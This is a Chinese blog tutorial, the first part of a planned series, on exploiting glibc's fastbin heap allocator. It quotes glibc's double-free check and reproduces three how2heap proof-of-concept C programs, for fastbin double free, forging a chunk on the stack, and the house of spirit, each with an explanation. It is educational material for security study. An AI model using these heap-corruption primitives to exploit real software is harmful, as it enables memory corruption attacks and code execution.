linux堆内存漏洞利用之fastbin

背景介绍

前一节主要介绍了Glibc的堆内存管理的机制,在上一节的基础上,我打算介绍一下针对Glibc堆内存管理的攻击。此系列我打算按攻击面是哪一个bin来展开,主要分为:

  • fastbin的攻击
  • smallbin的攻击
  • largebin的攻击
  • unsorted bin的攻击
  • top chunk的攻击

    本文主要介绍fastbin的攻击

fastbin漏洞利用

具体的fastbin的介绍请参考前一节Linux堆内存管理深入分析(下),在本节中主要结合how2heap的代码来介绍一下具体的漏洞利用思路。

fastbin double free

double free的意思就是一个malloc的指针被释放了两次,由于针对fastbin的free处理只是对double free做了简单的判断,所以很容易绕过它的double free判断。free() fastbin时的判断如下所示:

1
2
3
4
5
6
7
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}

其中old指针为fast bin的头指针,即此处只是判断fastbin的头指针和p指针是否一致。所以fastbin double free的攻击思路就是我们只要保证要double free的chunk不在fastbin的头部即可。

具体的攻击示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("This file demonstrates a simple double-free attack with fastbins.\n");

printf("Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

printf("1st malloc(8): %p\n", a);
printf("2nd malloc(8): %p\n", b);
printf("3rd malloc(8): %p\n", c);

printf("Freeing the first one...\n");
free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

printf("So, instead, we'll free %p.\n", b);
free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
printf("1st malloc(8): %p\n", malloc(8));
printf("2nd malloc(8): %p\n", malloc(8));
printf("3rd malloc(8): %p\n", malloc(8));
}

在此示例中,首先申请三个大小为8的int数组,然后先free(a),由于fast bin是一个单链表,在插入和删除的时候只在头部进行,所以此时将a的chunk放入了fast bin的头部,随后又free(b),此时fast bin的头部为chunk b,随后又free(a),此时由于fast bin的头部为chunk b,所以在free()的时候进行判断old == p不会抛出错误进而绕过这个简单的判断处理。再进行malloc的时候首先会从fast bin的头部进行删除,则接下来第一个分配的chunk为chunk A,第二个分配的为chunk B,接下来会再次分配chunk A。

绕过示例结果如下所示:

fast bin dup

fast bin double free in stack

上面的那个例子只是简单的一个double free,这个例子是利用double free漏洞在栈中构造了一个fake chunk。
其具体的示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

printf("Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

printf("1st malloc(8): %p\n", a);
printf("2nd malloc(8): %p\n", b);
printf("3rd malloc(8): %p\n", c);

printf("Freeing the first one...\n");
free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

printf("So, instead, we'll free %p.\n", b);
free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

printf("Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

printf("1st malloc(8): %p\n", d);
printf("2nd malloc(8): %p\n", malloc(8));
printf("Now the free list has [ %p ].\n", a);
printf("Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
printf("4th malloc(8): %p\n", malloc(8));
}

在以上代码中,当d被malloc的时候,此时还有对应的chunk a在fast bin中,所以如果对d进行修改,也会影响到chunk a的值。我们知道malloced chunk和freed chunk对应的结构不一样,对与同一个chunk A来说,有两种形式–对于d来说,其对应的是malloced chunk,而其在fast bin中还有一个freed chunk。
其示例如图所示:

fast bin stack pin

可以看到d(payload开始地址)正好对应了chunk A的fd指针,将 d的值赋值为&stack_var-8,则 stack_var=0x20即为在栈中伪造的chunk的size=0x20,与此fast bin的大小对应,此时chunk A的fd指向了在栈中伪造的chunk,此时就将伪造的chunk放入了fastbin链表中。进而malloc可以返回伪造的指针。

该示例代码的运行结果如下所示:

fast bin stack

The house of spirit

此攻击也是在栈中伪造fake chunk,和第二个攻击不同的是其只是在栈中声明了一个指针,而并没有通过malloc()函数来在堆中申请空间,接着将该指针赋值为特定的伪造的chunk的地址,随后free该指针,就将在栈中伪造的chunk添加到对应的fastbin中去了。具体的示例如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("This file demonstrates the house of spirit attack.\n");

printf("Calling malloc() once so that it sets up its memory.\n");
malloc(1);

printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

printf("This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);

printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

printf("Freeing the overwritten pointer.\n");
free(a);

printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
printf("malloc(0x30): %p\n", malloc(0x30));
}

示例的结果如下图所示:

house of spirit

参考